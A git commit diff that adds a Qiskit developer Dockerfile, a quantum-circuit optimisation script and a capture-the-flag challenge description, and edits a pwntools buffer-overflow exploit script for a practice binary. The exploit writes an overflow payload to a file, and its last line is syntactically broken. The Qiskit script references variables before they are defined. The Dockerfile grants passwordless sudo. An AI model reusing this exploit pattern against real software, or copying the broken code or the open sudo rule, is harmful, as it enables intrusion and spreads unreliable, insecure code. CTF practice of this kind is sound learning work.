This commit is contained in:
2023-11-25 07:59:12 +01:00
parent 0eb80f8965
commit d41bb6e734
7 changed files with 165 additions and 6 deletions

View File

@@ -0,0 +1,92 @@
FROM debian:buster-slim
MAINTAINER Sergio Martinez-Losa
ENV DEBIAN_FRONTEND noninteractive
ENV QISKIT_USER=qiskit
# Optional: set your IBM QISKIT API TOKEN HERE
#ENV QISKIT_API_TOKEN="UPDATE_THIS_API_TOKEN"
# CREATE NEW USER
RUN useradd --create-home -s /bin/bash $QISKIT_USER
ENV QISKIT_DIR=/home/$QISKIT_USER
COPY requirements.txt $QISKIT_DIR
RUN apt-get update && apt-get upgrade -y
RUN apt-get install -y build-essential poppler-utils texlive-latex-base texlive-latex-extra libopenblas-dev \
sudo unzip wget nano poppler-utils cmake git libssl-dev zlib1g-dev libncurses5-dev libgdbm-dev \
libnss3-dev libssl-dev libreadline-dev libffi-dev curl python3-pip python3-dev
WORKDIR $QISKIT_DIR
RUN mkdir -p qiskit-jupyter
ENV PIP_DISABLE_PIP_VERSION_CHECK=1
RUN pip3 install pip==20.3.1
RUN pip install -r requirements.txt
# INSTALL EACH COMPONENT OF QISKIT FROM SOOURCE ONE BY ONE, developers ONLY!!!! (Advanced) UNSTABLE
RUN pip install cython
RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-terra.git
RUN cd qiskit-terra && pip install -r requirements-dev.txt && pip install -e .
RUN pip install scikit-build
RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-aer
RUN cd qiskit-aer && pip install -e .
RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-ignis.git
RUN cd qiskit-ignis && pip install -r requirements-dev.txt && pip install -e .
RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-ibmq-provider.git
RUN cd qiskit-ibmq-provider && pip install -r requirements-dev.txt && pip install -e .
RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-aqua.git
RUN cd qiskit-aqua && pip install -r requirements-dev.txt && pip install -e .
RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-nature.git
RUN cd qiskit-nature && pip install -r requirements-dev.txt && pip install -e .
RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-optimization.git
RUN cd qiskit-optimization && pip install -r requirements-dev.txt && pip install -e .
RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-finance.git
RUN cd qiskit-finance && pip install -r requirements-dev.txt && pip install -e .
RUN pip install qiskit-machine-learning[torch]
RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-machine-learning.git
RUN cd qiskit-machine-learning && pip install -r requirements-dev.txt && pip install -e .
RUN pip install -I git+https://github.com/qiskit-community/Quantum-Challenge-Grader.git
# FINISHING PACKAGES
RUN pip install keras pandas xlrd seaborn scikit-learn matplotlib opencv-python tqdm pillow pennylane pennylane-qiskit \
image scipy regex cffi qasm2image pylatexenc tikz2graphml kaleidoscope plotly==4.14.1 jupyterlab --use-deprecated=legacy-resolver
# Install qiskit textbook
RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-textbook
RUN cd qiskit-textbook && git checkout stable && pip install -r requirements.txt
# Optional, install pennylane QML
RUN python3 -m pip install pennylane --upgrade && \
python3 -m pip install pennylane-forest pennylane-qiskit pennylane-sf pennylane-qsharp \
pennylane-cirq pennylane-honeywell amazon-braket-pennylane-plugin qulacs pennylane-qulacs \
pennylane-orquestra pennylane-aqt pennylane_pq qsimcirq
# SET ROOT PERMISSION FOR ALL USERS
RUN chown -R $QISKIT_USER:$QISKIT_USER /home/$QISKIT_USER/
RUN usermod -aG sudo $QISKIT_USER
RUN echo '%sudo ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
# CHANGE TO NEW USER
USER $QISKIT_USER
# RUN JUPYTER ON PORT 8889
CMD [ "jupyter" , "notebook", "--ip=0.0.0.0", "--port=8889", "--notebook-dir=./qiskit-jupyter", "--no-browser" ]
# Get the jupyter token : docker logs -f <NAME_OF_THIS_IMAGE>
# This image can be run as (update the token value)
# docker run -p 8889:8889 -it --env QISKIT_API_TOKEN="your_api_token" <NAME_OF_THIS_IMAGE>:TAG

View File

@@ -0,0 +1,47 @@
from qiskit import QuantumCircuit, Aer, transpile, assemble
from qiskit.aqua.components.optimizers import COBYLA
from qiskit.circuit import Parameter
import numpy as np
# Define the desired probability distribution
target_probs = [0.1666666666] * 6
# Define the quantum circuit
circ = QuantumCircuit(6, 6)
circ.h(range(6))
# Add the parameterized Ansatz using Parameter
params = [Parameter(f'var{i}') for i in range(6)]
circ.rx(params[0], 0)
circ.rx(params[1], 1)
circ.rx(params[2], 2)
circ.rx(params[3], 3)
circ.rx(params[4], 4)
circ.rx(params[5], 5)
# Define the optimization objective function
def objective_function(params):
# Update the circuit with new parameters
updated_circ = circ.bind_parameters({params[i]: optimal_params[i] for i in range(6)})
# Compile and run the circuit
t_circ = transpile(updated_circ, Aer.get_backend('qasm_simulator'))
qobj = assemble(t_circ)
result = Aer.get_backend('qasm_simulator').run(qobj).result()
# Calculate the probability distribution
counts = result.get_counts()
probs = [counts.get(format(i, '06b'), 0) / result.shots for i in range(2 ** 6)]
# Calculate the objective function (sum of squared differences)
return sum((probs[i] - target_probs[i]) ** 2 for i in range(2 ** 6))
# Optimize the circuit parameters
optimizer = COBYLA(maxiter=1000)
optimal_params = optimizer.optimize(num_vars=6, objective_function=objective_function)
# Print the optimal parameters
print("Optimal Parameters:", optimal_params)

View File

@@ -1,20 +1,24 @@
from pwn import * from pwn import *
elf = ELF(os.getcwd() + "/0d2dd2de6fc66a1b0e38dc299e38e0da") elf = ELF(os.getcwd() + "/baby")
gs = ''' gs = '''
unset env LINES unset env LINES
unset env COLUMNS unset env COLUMNS
set follow-fork-mode child set follow-fork-mode child
br *handle_conn+631 # br *0x5663c4b8
# br *main+420 br gets
continue continue
''' '''
def start(): def start():
if args.GDB: if args.GDB:
return gdb.debug([elf.path], gs) return gdb.debug(elf.path, gs)
else: else:
return process([elf.path]) return process([elf.path])
io = start() # io = start()
io.sendline() # input("waiting...")
OFFSET = 0x56555000
with open("input", "wb+") as f:
f.write(b'A'*42 + p32(1) + p32(0xd34db33f) + cyclic(cyclic_find('caaa')) + p32(OFFSET + ^))
# io.interactive

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,16 @@
Hide and Seek
General Ashdown is bored of hiding his ass. He wants some action, but not the dangerous kind ... more some action like watching a duck swim.
9c6600421a497cfaf89a336e0cef2357
Hint: The challenge is build with for glibc (2.36-9) 2.36. If your terminal is crashing or hanging during execution, preload the needed libc or maybe better, just use docker, e.g.:
# Dockerfile
FROM debian:bookworm
COPY ./9c6600421a497cfaf89a336e0cef2357 /
Build with: docker build -t chall .
Run with: docker run --name chall --rm -it chall bash